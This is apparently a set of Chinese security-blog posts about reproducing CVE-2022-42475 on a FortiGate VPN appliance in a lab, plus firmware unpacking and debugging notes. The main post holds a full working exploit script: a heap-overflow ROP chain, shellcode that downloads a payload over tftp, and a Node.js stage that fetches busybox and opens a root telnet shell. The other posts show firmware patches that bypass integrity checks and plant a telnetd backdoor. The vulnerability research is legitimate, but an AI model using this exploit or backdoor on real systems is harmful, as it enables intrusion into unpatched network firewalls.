print(len(shellcode))gen_shellcode_execl()</code></pre><p>简单说明一下两段 shellcode，都是在将字符串压栈，然后计算当前的 rsp 地址，并且保存地址到栈的其他位置。由于栈空间的机制，我们字符串压栈最大长度是 8，所以当处理大于 8 的字符串时我们需要分割一下并且从后向前压栈</p><p>注意我的 shellcode 开头，将栈又做了个迁移，这个原因是此时 ret2shellcode 的地址与栈地址重叠 如果不这么做，会导致你压栈的数据破坏掉了原有的 shellcode，导致无法继续执行，所以需要再开辟一段新的占空间，这里选择还是 ssl 结构体中的位置，因为此时数据均为 00000。</p><p>之后就正常构造参数，并要确定参数位置均正确，但不要忘记！！！我们 shellcode 最终位置需要执行 ret，但是 ret 去哪里呢？我们还需要计算一下接下来的 rop 所存内存地址与当前可控地址的偏移，并且这段计算需要提前放在 shellcode 中。</p><p>这里还有个坑点!!!</p><p>就是最上述中说的，寄存器参数并不够，还有两个参数需要在栈中，注意是这指向这两个参数的地址在栈中，！！！不是字符串！！！ 其他寄存器参数也同样是参数的地址 而不是字符串！！！！</p><p>以及这两个字符串地址并不是压在 shellcode 所在的栈中，而是需要在计算出 rop 处地址后的下一个地址，原因在 ret 后栈空间会跑到 rop 所处地址，此时栈的 rsp 是 rop gadget+8 的位置，那在 shellcode 中则需要先计算出 gadget+8 的地址并且压入栈中后在 ret 过去</p><p>push 前：</p><p><img src="static/boxcnUEY5SpeGZqD7ZGtx0SaRcg.png" alt="" /></p><p>push 后，可以看到 push 是将字符串压栈进了 c8 的位置，而不是 d0，这里是需要注意的</p><p><img src="static/boxcn22rswcryeUmWF8bVCknsod.png" alt="" /></p><p>ret 前的堆栈 + 寄存器信息，可以看到满足调用布局</p><p><img src="static/boxcndCjP87RZaZKYX77x4nGJ6g.png" alt="" /></p><p>最终成功下载到文件（左侧是最终执行 execv 前的栈空间信息，右侧是成功下载文件的实例）</p><p><img src="static/boxcnvSYnaWmZLkzG8nK9Bba6Ug.png" alt="" /></p><p>接着通过 node 文件去构造文件下载及后续 getshell 的方法</p><h3 id="nodejs-shellcode"><a class="markdownIt-Anchor" href="#nodejs-shellcode"></a> Nodejs shellcode</h3><p>当下载下来发现，原来通过 tftp 下载下来的文件 只有读写权限！！并没有执行权限！！！那我们并不能直接 busybox 或者其他 backdoor 程序，因为不能执行。</p><p>当然此处的标题就是解决方法了，在搜索时发现飞塔居然内置了个 nodejs！通过测试发现 nodejs xx.js 是可执行的，并且 nodejs 也存在修改文件权限的函数，那此时思路就更清晰了</p><ol><li>通过之前的命令执行下载 shell.js</li><li>shell.js 中至少要包含以下功能</li><li>一：下载 busybox （比之前的操作简单多了！）</li><li>二：给 busybox 执行权限</li><li>三：弄一个 busybox 的 shell 软链</li><li>四：调用 busybox 中内置的命令 起 shell</li></ol><p>最终成功构造出以下 shellcode</p><pre class="highlight"><code class="">var fs = require('fs');const https = require('https')const &#123; execFile, execFileSync &#125; = require('child_process');function exp() &#123;         const file2 = '/bin/ash';        fs.access(file2, fs.constants.F_OK, (err) =&gt; &#123;          if (err) &#123;                  try&#123;                    const res = fs.symlinkSync('/sbin/busybox','/bin/ash');                    console.log('ash create success');                                    &#125;catch(ex)&#123;                    console.log('ash create error' + ex);                &#125;          &#125;else &#123;                  console.log('ash already created');          &#125;        &#125;);        const stdout1 = execFileSync('/bin/killall', ['sshd']);        const stdout2 = execFileSync('/sbin/busybox', ['telnetd', '-l', '/bin/ash', '-b', '0.0.0.0', '-p','22']);        console.log(stdout1);        console.log(stdout2);        console.log('shell process create success');&#125;const file1 = '/sbin/busybox';fs.access(file1, fs.constants.F_OK, (err) =&gt; &#123;  if (err) &#123;          try&#123;            execFile('/bin/tftp', ['192.168.109.128','busybox','get', 'octet', '/sbin/busybox'], (err, stdout, stderr) =&gt; &#123;            if(err) &#123;                console.log(err);                return;            &#125;            console.log('download success');            fs.chmodSync('/sbin/busybox', 777);            console.log('chmod success');            exp();        &#125;);                            &#125;catch(ex)&#123;            console.log('ash create error' + ex);        &#125;  &#125;else &#123;          console.log('busybox already download');          exp();            &#125;&#125;);</code></pre><p>最终 再次利用命令执行执行 nodejs 1.js 成功完成利用</p><p>什么？你突然产生疑问？tftp 服务器怎么搭建呢？？</p><h3 id="tftp-服务器搭建"><a class="markdownIt-Anchor" href="#tftp-服务器搭建"></a> TFTP 服务器搭建</h3><pre class="highlight"><code class="">sudo apt-get install xinetdsudo apt-get install tftp tftpdsudo vim /etc/xinetd.d/tftp</code></pre><p>修改配置文件，主要改目录</p><pre class="highlight"><code class="">service tftp&#123;        socket_type             = dgram        protocol                = udp        wait                    = yes        user                    = root        server                  = /usr/sbin/in.tftpd    //服务程序路径        server_args             = -s /home/ios/tftpboot/    //可以访问的tftpd服务器下的目录        disable                 = no            //是否开机启动        per_source              = 11        cps                     = 100 2        flags                   = IPv4&#125;</code></pre><p>新建目录</p><pre class="highlight"><code class="">mkdir /home/ios/tftpboot/接着把需要用到的两个文件复制进去cp busybox /home/ios/tftpboot/cp 1.js /home/ios/tftpboot/</code></pre><p>搞定</p><h3 id="最终稳定的-real-exp"><a class="markdownIt-Anchor" href="#最终稳定的-real-exp"></a> 最终稳定的 Real EXP！！！</h3><pre class="highlight"><code class="">import socketimport timeimport sslfrom struct import packdef int_to_bytes(n, minlen=0):    &quot;&quot;&quot; Convert integer to bytearray with optional minimum length.     &quot;&quot;&quot;    if n &gt; 0:        arr = []        while n:            n, rem = n &gt;&gt; 8, n &amp; 0xff            arr.append(rem)        b = bytearray(arr)    elif n == 0:        b = bytearray(b'\x00')    else:        raise ValueError('Only non-negative values supported')    if minlen &gt; 0 and len(b) &lt; minlen: # zero padding needed?        b = (minlen-len(b)) * '\x00' + b    return bdef setp1():    print(&quot;current step: download 1.js&quot;)    path = &quot;/remote/login&quot;.encode()    CL=0x1b00000000    # push rdx ; pop rsp ; add edi, edi ; nop ; ret    gadget1 = 0x000000000140583a    try:        payload = b&quot;B&quot;*2400        payload += int_to_bytes(0x60b30e)+ b&quot;\x00&quot;*5 # : pop rax ; pop rcx ; ret        payload += int_to_bytes(0xfffffffffffa9688) # offset        payload += int_to_bytes(0x2608366) + b&quot;\x00&quot;*4  #junk op, add r13, r8 ; ret        payload += int_to_bytes(0x2608366) + b&quot;\x00&quot;*4  #junk op, add r13, r8 ; ret        payload += int_to_bytes(0x2a0e1c0) + b&quot;\x00&quot;*4 # add rdx, rax ; mov eax, edx ; sub eax, edi ; ret        payload += int_to_bytes(0x257016a) + b&quot;\x00&quot;*4 # #push rdx; pop rdi; ret;        payload += int_to_bytes(0x530c9e) + b&quot;\x00&quot;*5 # : pop rsi ; ret        payload += int_to_bytes(0x258000) + b&quot;\x00&quot;*5        payload += int_to_bytes(0x509382) + b&quot;\x00&quot;*5 # : pop rdx ; ret        payload += int_to_bytes(0x7) + b&quot;\x00&quot;*7               payload += int_to_bytes(0x1537F26) + b&quot;\x00&quot;*4 # jmp _mprotect        payload += int_to_bytes(0x46bb37) + b&quot;\x00&quot;*5 # pop rax ; ret        payload += int_to_bytes(0x56a40) + b&quot;\x00&quot;*5 # offset to stack        payload += int_to_bytes(0x7d4f4d) + b&quot;\x00&quot;*5 # add rax, rdi ; ret        payload += int_to_bytes(0x43dccc) + b&quot;\x00&quot;*5 # push rax ; ret                print(len(payload))        raw = payload+b&quot;A&quot;*(2592-len(payload))        raw += int_to_bytes(gadget1) +b&quot;\x00&quot;*4                raw += b'H\x81\xec\x00\x10\x00\x00j\x00H\xbboctet\x00\x00\x00SI\x89\xe1H\xc7\xc3get\x00SI\x89\xe0H\xc7\xc31.jsSH\x89\xe1H\xbb109.128\x00SH\xbb192.168.SH\x89\xe2H\xc7\xc3p\x00\x00\x00SH\xbb/bin/tftSH\x89\xe6H\x89\xe7j\x00H\xbb/sbin/buSI\x89\xe2H\x05\x90\x00\x00\x00H\x89\xc4ARH\x83\xec\x08\x90\xc3'        raw += int_to_bytes(0x161DB33) +b&quot;\x00&quot;*4 # call execl                        data = b&quot;POST &quot; + path + b&quot; HTTP/1.1\r\nHost: 192.168.109.111\r\nContent-Length: &quot; + str(int(CL)).encode() + b&quot;\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\n&quot;+raw        _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        _socket.connect((&quot;192.168.109.111&quot;, 4443))        _default_context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)        _socket = _default_context.wrap_socket(_socket)        _socket.sendall(data)    except Exception as e:        print(e)def setp2():    print(&quot;current step: execute 1.js&quot;)    path = &quot;/remote/login&quot;.encode()    CL=0x1b00000000    # push rdx ; pop rsp ; add edi, edi ; nop ; ret    gadget1 = 0x000000000140583a    try:        payload = b&quot;B&quot;*2400        payload += int_to_bytes(0x60b30e)+ b&quot;\x00&quot;*5 # : pop rax ; pop rcx ; ret        payload += int_to_bytes(0xfffffffffffa9688) # offset        payload += int_to_bytes(0x2608366) + b&quot;\x00&quot;*4  #junk op, add r13, r8 ; ret        payload += int_to_bytes(0x2608366) + b&quot;\x00&quot;*4  #junk op, add r13, r8 ; ret        payload += int_to_bytes(0x2a0e1c0) + b&quot;\x00&quot;*4 # add rdx, rax ; mov eax, edx ; sub eax, edi ; ret        payload += int_to_bytes(0x257016a) + b&quot;\x00&quot;*4 # #push rdx; pop rdi; ret;        payload += int_to_bytes(0x530c9e) + b&quot;\x00&quot;*5 # : pop rsi ; ret        payload += int_to_bytes(0x258000) + b&quot;\x00&quot;*5        payload += int_to_bytes(0x509382) + b&quot;\x00&quot;*5 # : pop rdx ; ret        payload += int_to_bytes(0x7) + b&quot;\x00&quot;*7               payload += int_to_bytes(0x1537F26) + b&quot;\x00&quot;*4 # jmp _mprotect        payload += int_to_bytes(0x46bb37) + b&quot;\x00&quot;*5 # pop rax ; ret        payload += int_to_bytes(0x56a40) + b&quot;\x00&quot;*5 # offset to stack        payload += int_to_bytes(0x7d4f4d) + b&quot;\x00&quot;*5 # add rax, rdi ; ret        payload += int_to_bytes(0x43dccc) + b&quot;\x00&quot;*5 # push rax ; ret                print(len(payload))        raw = payload+b&quot;A&quot;*(2592-len(payload))        raw += int_to_bytes(gadget1) +b&quot;\x00&quot;*4        # ret2shellcode        raw += b'H\x81\xec\x00\x10\x00\x00H\xc7\xc1\x00\x00\x00\x00H\xbb/sbin/buSH\x89\xe2H\xc7\xc3e\x00\x00\x00SH\xbb/bin/nodSH\x89\xe6H\x89\xe7H\x83\xc0@H\x89\xc4\x90\x90\x90\xc3'        # rop to execl        raw += int_to_bytes(0x161DB33) +b&quot;\x00&quot;*4 # call execl                        data = b&quot;POST &quot; + path + b&quot; HTTP/1.1\r\nHost: 192.168.109.111\r\nContent-Length: &quot; + str(int(CL)).encode() + b&quot;\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\n&quot;+raw        _socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        _socket.connect((&quot;192.168.109.111&quot;, 4443))        _default_context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)        _socket = _default_context.wrap_socket(_socket)        _socket.sendall(data)    except Exception as e:        print(e)def main():    #step1 = b&quot;tftp 192.168.109.128 1.js get octet /sbin/bu&quot;    for i in range(10):        time.sleep(0.1)        setp1()    #step2 = b&quot;/bin/node /sbin/bu&quot;    time.sleep(10) #wait for sslvpn reboot    for i in range(10):        time.sleep(0.1)        setp2()main()</code></pre><h3 id="可能存在的问题"><a class="markdownIt-Anchor" href="#可能存在的问题"></a> 可能存在的问题</h3><ol><li>发送 exp 失败，需要低版本的 python+ 低版本的 linux 环境，这里用的是 python2</li><li>exp 没生效？ 可以考虑打完 step1 后等待一段时间 5-10s 后再执行 step2</li><li>为什么要分开构造 shellcode？为何不一次构造完成</li></ol><p>这么考虑的点是这样的，首先执行 execl 后会劫持程序，执行成功后不会返回错误会直接退出程序，而上述 payload 中没有用到 fork 来创建进程，从而程序执行完 execl 后会退出，无法继续跳转回原来的 payload 继续 rop 或者 ret2shellcode。</p><ol><li>有没有简单的拿后门方法？有替换 smartctl 为你的后门 binary，接着在登录后执行 <code>diagnose hardware smartctl arg1 arg2 ...</code> 的方式执行</li></ol><p>这里提供一个简单的</p><pre class="highlight"><code class="">#include &lt;stdio.h&gt;#include &lt;unistd.h&gt;# gcc -g -static s.c -o sint main(int argc, char const *argv[])&#123;        execl(argv[1], argv[1], argv[2], argv[3], argv[4], argv[5], argv[6], NULL);        return 0;&#125;</code></pre>]]></content>
    
    
    <summary type="html">&lt;p&gt;首先需要进行环境搭建参考&lt;a href=&quot;https://ioo0s.art/2023/02/07/%E5%88%A9%E7%94%A8VMware%E8%8E%B7%E5%8F%96shell-%E8%BF%9B%E9%98%B6/&quot;&gt;获取 shell 进阶&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;以及调试环境搭建 &lt;a href=&quot;https://ioo0s.art/2023/02/09/gdb-server%E9%85%8D%E7%BD%AE/&quot;&gt;gdb-server 配置&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;复现过程&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#复现过程&quot;&gt;&lt;/a&gt; 复现过程&lt;/h2&gt;
&lt;p&gt;根据文章 &lt;a href=&quot;https://wzt.ac.cn/2022/12/15/CVE-2022-42475/&quot;&gt;https://wzt.ac.cn/2022/12/15/CVE-2022-42475/&lt;/a&gt;，可以快速定位到可控制的溢出点，但是不同环境的原因 貌似溢出点地址有变，例如我 init 中在 &lt;code&gt;0000000001780BFB&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;static/boxcnX7t3Jx1WBzLwCgC1CWlFYf.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;调试 exp 时建议在此处下断点，不是百分百触发该位置，因为有时会覆盖到其他 结构位置 在赋值时导致错误。&lt;/p&gt;</summary>
    
    
    
    <category term="漏洞挖掘" scheme="http://ioo0s.art/categories/%E6%BC%8F%E6%B4%9E%E6%8C%96%E6%8E%98/"/>
    
    
    <category term="漏洞复现" scheme="http://ioo0s.art/tags/%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/"/>
    
    <category term="IOT" scheme="http://ioo0s.art/tags/IOT/"/>
    
    <category term="FortiGate" scheme="http://ioo0s.art/tags/FortiGate/"/>
    
  </entry>
  
  <entry>
    <title>gdb-server配置</title>
    <link href="http://ioo0s.art/2023/02/09/gdb-server%E9%85%8D%E7%BD%AE/"/>
    <id>http://ioo0s.art/2023/02/09/gdb-server%E9%85%8D%E7%BD%AE/</id>
    <published>2023-02-09T02:35:27.000Z</published>
    <updated>2023-02-09T05:11:04.000Z</updated>
    
    <content type="html"><![CDATA[<p>需要满足以获取 shell，未获取请参考<a href="https://ioo0s.art/2023/02/07/%E5%88%A9%E7%94%A8VMware%E8%8E%B7%E5%8F%96shell-%E8%BF%9B%E9%98%B6/">利用VMware获取shell-进阶</a></p><span id="more"></span><ol><li>下载 gdb-server static 版本，这里选择下载 <code>gdbserver-7.10.1-x64</code></li></ol><p><a href="https://github.com/hugsy/gdb-static">gdb-static</a></p><ol><li>添加 gdb-server 到 rootfs 中并重打包</li></ol><pre class="highlight"><code class="">cp /path/to/gdbserver-7.10.1-x64 ./bin/gdbserverchmod 777 ./bin/gdbserverchroot . /sbin/ftar -cf bin.tar ./binrm -rf bin.tar.xzchroot . /sbin/xz --check=sha256 -e bin.tarfind . -path './bin' -prune -o -print |cpio -H newc -o &gt; ../make/rootfs.rawcd ../makecat rootfs.raw | gzip &gt; rootfs.gz</code></pre><ol><li>启动 shell</li></ol><p>注意我们能从外访问到内部的端口是有限的，建议用 ssh 22 端口和 telnet 的 23 端口</p><pre class="highlight"><code class="">killall sshd &amp;&amp; /bin/busybox telnetd -l /bin/sh -b 0.0.0.0 -p 22</code></pre><p>默认 shell 是 22 端口 ,所以调试端口就用 23，使用 busybox ps -a 命令查看所有的进程 pid，确定 sslvpn 的 pid，接着并行执行两条命令附加调试</p><pre class="highlight"><code class="">killall telnetd &amp;&amp; gdbserver :23 --attach 1</code></pre><p>接着用 gdb 远程连接即可</p><pre class="highlight"><code class="">target remote 192.168.109.111:23</code></pre><p>最后就可以开启愉快地调试之旅了！！！</p><p><img src="boxcnwfkKKcpcZWwMd4RJsAnhWd.png" alt="" /></p><h2 id=""><a class="markdownIt-Anchor" href="#"></a> </h2>]]></content>
    
    
    <summary type="html">&lt;p&gt;需要满足以获取 shell，未获取请参考&lt;a href=&quot;https://ioo0s.art/2023/02/07/%E5%88%A9%E7%94%A8VMware%E8%8E%B7%E5%8F%96shell-%E8%BF%9B%E9%98%B6/&quot;&gt;利用VMware获取shell-进阶&lt;/a&gt;&lt;/p&gt;</summary>
    
    
    
    <category term="基础知识" scheme="http://ioo0s.art/categories/%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/"/>
    
    
    <category term="IOT" scheme="http://ioo0s.art/tags/IOT/"/>
    
    <category term="FortiGate" scheme="http://ioo0s.art/tags/FortiGate/"/>
    
  </entry>
  
  <entry>
    <title>Note</title>
    <link href="http://ioo0s.art/2023/02/07/Note/"/>
    <id>http://ioo0s.art/2023/02/07/Note/</id>
    <published>2023-02-07T07:18:26.000Z</published>
    <updated>2023-02-07T08:15:04.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="开博原因"><a class="markdownIt-Anchor" href="#开博原因"></a> 开博原因</h2><p>最近突然想分享几篇好玩的文章，尝试在csdn中发布（涂省事），但频繁提示我审核失败最终选择重新开一下博客，后续不定期更新😆😆😆</p><h2 id="历史博客"><a class="markdownIt-Anchor" href="#历史博客"></a> 历史博客</h2><p>有几篇还不错的历史文章，但因为原文.md丢失的原因在这里贴一下之前发布的链接</p><p><a href="https://blog.csdn.net/yinxuanwl/article/details/104583615">ios逆向入门笔记（详细到哭）</a></p><p><a href="https://blog.csdn.net/yinxuanwl/article/details/93474278">Reveal调试笔记</a></p><p><a href="https://blog.csdn.net/yinxuanwl/article/details/107724670">ios逆向入门笔记-HOOK-QQ登录</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;开博原因&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#开博原因&quot;&gt;&lt;/a&gt; 开博原因&lt;/h2&gt;
&lt;p&gt;最近突然想分享几篇好玩的文章，尝试在csdn中发布（涂省事），但频繁提示我审核失败最终选择重新开一下博客，后续不定期更新😆😆😆</summary>
      
    
    
    
    
  </entry>
  
  <entry>
    <title>利用VMware获取shell-进阶</title>
    <link href="http://ioo0s.art/2023/02/07/%E5%88%A9%E7%94%A8VMware%E8%8E%B7%E5%8F%96shell-%E8%BF%9B%E9%98%B6/"/>
    <id>http://ioo0s.art/2023/02/07/%E5%88%A9%E7%94%A8VMware%E8%8E%B7%E5%8F%96shell-%E8%BF%9B%E9%98%B6/</id>
    <published>2023-02-07T02:24:18.000Z</published>
    <updated>2023-02-09T05:11:41.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="解包"><a class="markdownIt-Anchor" href="#解包"></a> 解包</h2><pre class="highlight"><code class="">gzip -d rootfs.gzsudo cpio -idmv &lt; ./rootfssudo chroot . /sbin/xz --check=sha256 -d /bin.tar.xzsudo chroot . /sbin/ftar -xf /bin.tar</code></pre><h2 id="patch-init-文件"><a class="markdownIt-Anchor" href="#patch-init-文件"></a> Patch init 文件</h2><p>文件所在位置 <code>/bin/init</code> ,注意这个是解包后才能拿到的文件</p><p>patch 位置在 <code>0x04518E5</code></p><span id="more"></span><p><strong>将</strong><strong>jnz loc_451BB4</strong><strong> 改为 </strong><strong>jz loc_451BB4 </strong></p><p>下图是 patch 后的</p><p><img src="boxcnp12KkCPJsgrJoFZ8uaZX15.png" alt="" /></p><p>伪代码</p><p><img src="boxcnPKVLs7SFq7xOzvSBaOiSTd.png" alt="" /></p><p>另外一处也需要 patch</p><p><img src="boxcnWZnG85SRFKyyydsEcCbI8b.png" alt="" /></p><p>修改前</p><p><img src="boxcnbIEedUGu0ily5S5emt7sL2.png" alt="" /></p><p>修改后</p><p><img src="boxcnwP6k0sGEU7X8Vi7zbcJHZc.png" alt="" /></p><p>导出后替换原来的./bin/init 文件</p><h2 id="patch-shell"><a class="markdownIt-Anchor" href="#patch-shell"></a> Patch shell</h2><ol><li>下载编译 busybox</li></ol><p>下载地址：<a href="https://busybox.net/downloads/">https://busybox.net/downloads/</a></p><ol><li>预编译配置</li></ol><pre class="highlight"><code class="">make menuconfig</code></pre><ol><li>修改配置信息</li></ol><ul><li>Build Options —&gt; 选择[*] Build Busybox as a static binary（no shared libs）</li><li>去掉 Coreutils—&gt;sync 选项</li></ul><ol><li>编译</li></ol><pre class="highlight"><code class="">make make install</code></pre><p>编译成功 busybox 文件会在 <code>./_install/bin/busybox</code></p><ol><li>复制 busybox 到 rootfs 的/bin 目录下</li></ol><pre class="highlight"><code class="">cp ../busybox/busybox-1.35.0/_install/bin/busybox ./bin/chmod 777 ./bin/busybox</code></pre><ol><li>删除原 sh 软链并创建 busybox 软链</li></ol><pre class="highlight"><code class="">rm -rf ./bin/shls -n /bin/busybox sh</code></pre><h2 id="后门制作"><a class="markdownIt-Anchor" href="#后门制作"></a> 后门制作</h2><p>编译一段命令执行的 elf 文件，采用静态链接,这里最好使用 system 而不是 execv，因为 system 会附加 init 后的环境，execv 不会。前两条用于测试 busybox 是否正常，后一条用于添加个 shell</p><pre class="highlight"><code class="">#include &lt;stdio.h&gt;int tcp_port = 22;char *ip = &quot;192.168.109.143&quot;;void shell()&#123;                        system(&quot;/bin/busybox ls&quot;, 0, 0);        system(&quot;/bin/busybox id&quot;, 0, 0);        system(&quot;/bin/busybox killall sshd &amp;&amp; /bin/busybox telnetd -l /bin/sh -b 0.0.0.0 -p 22&quot;, 0, 0);        return;&#125;int main(int argc, char const *argv[])&#123;        shell();        return 0;&#125;</code></pre><p>编译</p><pre class="highlight"><code class="">gcc -g shell.c -static -o shell</code></pre><h2 id="打包"><a class="markdownIt-Anchor" href="#打包"></a> 打包</h2><pre class="highlight"><code class="">sudo chroot . /sbin/ftar -cf bin.tar ./binsudo chroot . /sbin/xz --check=sha256 -e bin.tarsu rootfind . -path './bin' -prune -o -print |cpio -H newc -o &gt; ../make/rootfs.rawcd ../makecat rootfs.raw | gzip &gt; rootfs.gz</code></pre><h2 id="替换"><a class="markdownIt-Anchor" href="#替换"></a> 替换</h2><p>使用新虚拟机挂载当前 fortigate 的虚拟磁盘，<code>添加-&gt;现有虚拟磁盘</code>。</p><p><img src="boxcnapM1bapHSvqn0lW4C9yKrb.png" alt="" /></p><p>启动该虚拟机后，搜索应用 disk，选择对应大小的虚拟机磁盘，这里是 2G 的，然后选择启动挂载</p><p><img src="boxcn7WU2xW82Oj1p5Hbwnay0pc.png" alt="" /></p><p>替换 rootfs.gz 文件</p><pre class="highlight"><code class="">sudo sucp path/to/rootfs.gz ./</code></pre><p><img src="boxcnUsHHryGKKYw1ESbN0QQQic.png" alt="" /></p><p>关闭挂载或者挂起虚拟机</p><h2 id="gdb-内核-patch"><a class="markdownIt-Anchor" href="#gdb-内核-patch"></a> GDB 内核 Patch</h2><p>绕过 fgt_verify，需要绕过下方跳转 jnz，可以在此处下断点并修改 rax=0 绕过</p><p><img src="boxcn5sAHD8KFpwProizAdJzQef.png" alt="" /></p><p>配置 vm 调试<a href="https://ioo0s.art/2023/02/06/%E5%88%A9%E7%94%A8VMware%E8%8E%B7%E5%8F%96shell/">利用VMware获取shell</a></p><pre class="highlight"><code class="">gdbpwndbg&gt; file /home/ios/Fortigate/vmlinuz_elfpwndbg&gt; b*0xFFFFFFFF807AC11Cpwndbg&gt; target remote 192.168.109.1:12345pwndbg&gt; c</code></pre><p>这里讲解一个技巧：什么时候执行 <code>target remote 192.168.109.1:12345</code> 下断，由于我们要 patch 的是 vmlinuz 中的验证，所以需要在屏幕输出 <code>Bootting the kernel</code> 后 1-2 秒再执行，如下图</p><p><img src="boxcn7xNskTYXxPLewpZI9qYZgh.png" alt="" /></p><p>触发断点</p><p><img src="boxcnBipQCMHQH0iaVktQHTemDe.png" alt="" /></p><p>修改 rax=0</p><pre class="highlight"><code class="">set $rax=0</code></pre><p><img src="boxcnStvMa3M1EAJ5EPzp81Pijd.png" alt="" /></p><p>测试能成功运行启动</p><p><img src="boxcn9KGAaBQA5ul9xowbeeWnEe.png" alt="" /></p><h2 id="运行到-shell"><a class="markdownIt-Anchor" href="#运行到-shell"></a> 运行到 shell</h2><p>登录到 cli，执行 <code>diag hardware smartctl</code></p><p><img src="boxcnzkFMwkKiJ46wEidtckK0Yc.png" alt="" /></p><p>查看结果</p><p><img src="boxcnd0fwycUWKwy9OLeWct0ozb.png" alt="" /></p><p>尝试用 telnet 连接后门，注意端口是 22！！！！需要指定一下端口</p><pre class="highlight"><code class="">telnet 192.168.109.111 22</code></pre><p>这里的 ip 是在 cli 中配置后的，可以参考基础配置文章</p><p><img src="boxcnurjgBpjiLl8gmglgbyGXoh.png" alt="" /></p><p>注意：获取 shell 后还需要借助 busybox 来执行其他命令，如图，直接执行会找不到软链</p><h2 id="遇到问题"><a class="markdownIt-Anchor" href="#遇到问题"></a> 遇到问题</h2><h3 id="edderror-0400-reading-sector"><a class="markdownIt-Anchor" href="#edderror-0400-reading-sector"></a> EDD：Error 0400 reading sector</h3><p><img src="boxcnHOHJZiPH1zqyAitv9rD4Oc.png" alt="" /></p><h4 id="造成原因"><a class="markdownIt-Anchor" href="#造成原因"></a> 造成原因</h4><p>使用 windows 下的 diskgenius 替换 rootfs 导致</p><h4 id="解决方法"><a class="markdownIt-Anchor" href="#解决方法"></a> 解决方法</h4><p>使用另一台 linux 虚拟机 挂载虚拟磁盘，并复制进去</p><h3 id="偶尔出现-cpio-打包-blocks-打包前后不相同的问题"><a class="markdownIt-Anchor" href="#偶尔出现-cpio-打包-blocks-打包前后不相同的问题"></a> 偶尔出现 cpio 打包 blocks 打包前后不相同的问题</h3><h3 id="同上-该问题会导致虚拟机启动后-无任何提示-无限重启"><a class="markdownIt-Anchor" href="#同上-该问题会导致虚拟机启动后-无任何提示-无限重启"></a> 同上 该问题会导致虚拟机启动后 无任何提示 无限重启</h3><h4 id="造成原因-2"><a class="markdownIt-Anchor" href="#造成原因-2"></a> 造成原因</h4><p>在 vmlinuz 中存在一处 fgtsum 校验,具体位置在 <code>0xFFFFFFFF807AC117</code> 。</p><p><img src="boxcnPqwpD4h8M029MQkMiPh9Kc.png" alt="" /></p><h4 id="解决方法-2"><a class="markdownIt-Anchor" href="#解决方法-2"></a> 解决方法</h4><p>在 <code>0xFFFFFFFF807AC117</code> 处下断，用 gdb 修改 eax 值为 0，即可绕过验证</p>]]></content>
    
    
    <summary type="html">&lt;h2 id=&quot;解包&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#解包&quot;&gt;&lt;/a&gt; 解包&lt;/h2&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;&quot;&gt;gzip -d rootfs.gz
sudo cpio -idmv &amp;lt; ./rootfs
sudo chroot . /sbin/xz --check=sha256 -d /bin.tar.xz
sudo chroot . /sbin/ftar -xf /bin.tar
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;patch-init-文件&quot;&gt;&lt;a class=&quot;markdownIt-Anchor&quot; href=&quot;#patch-init-文件&quot;&gt;&lt;/a&gt; Patch init 文件&lt;/h2&gt;
&lt;p&gt;文件所在位置 &lt;code&gt;/bin/init&lt;/code&gt; ,注意这个是解包后才能拿到的文件&lt;/p&gt;
&lt;p&gt;patch 位置在 &lt;code&gt;0x04518E5&lt;/code&gt;&lt;/p&gt;</summary>
    
    
    
    <category term="基础知识" scheme="http://ioo0s.art/categories/%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86/"/>
    
    
    <category term="IOT" scheme="http://ioo0s.art/tags/IOT/"/>
    
    <category term="FortiGate" scheme="http://ioo0s.art/tags/FortiGate/"/>
    
  </entry>
  
  <entry>
    <title>利用VMware获取shell</title>
    <link href="http://ioo0s.art/2023/02/06/%E5%88%A9%E7%94%A8VMware%E8%8E%B7%E5%8F%96shell/"/>
    <id>http://ioo0s.art/2023/02/06/%E5%88%A9%E7%94%A8VMware%E8%8E%B7%E5%8F%96shell/</id>
    <published>2023-02-06T05:46:36.000Z</published>
    <updated>2023-02-07T02:20:12.000Z</updated>
    
    <content type="html"><![CDATA[<h2 id="获取-vmlinuz"><a class="markdownIt-Anchor" href="#获取-vmlinuz"></a> 获取 vmlinuz</h2><h3 id="方式一"><a class="markdownIt-Anchor" href="#方式一"></a> 方式一</h3><p>对于 vmdk 没有加密的虚拟设备来说，可以直接通过挂载磁盘的方式提取出 vmlinuz 文件，但是要注意磁盘中的内核文件命名可能不同！！！</p><p><img src="boxcn2cjTeNLk3cdxSy6yrkdxef.png" alt="" /></p><span id="more"></span><p>使用 DiskGenius 挂载虚拟磁盘，通过寻找 vmlinuz 文件的特征信息来确定具体文件</p><p><img src="boxcn2BG3thFFguLDkrSTwqWYec.png" alt="" /></p><p>一般情况 vmlinuz 文件头部 会含有上图中的字符串信息，或者通过头标识符也可以判断文件，所以 flatkc 就是该环境中的 vmlinuz 文件，右键导出即可。</p><p>使用工具 <a href="https://github.com/marin-m/vmlinux-to-elf">vmlinux-to-elf</a> 可以将内核文件转换为 elf 文件，方便我们接下来的逆向分析。</p><p><strong>注意：请不要用该方法得到的 rootfs.gz 直接解压使用，否则后期打包时会出现问题！！！</strong></p><h3 id="方式二"><a class="markdownIt-Anchor" href="#方式二"></a> 方式二</h3><p>将虚拟磁盘挂载到其他虚拟机中，并启动虚拟机</p><p><img 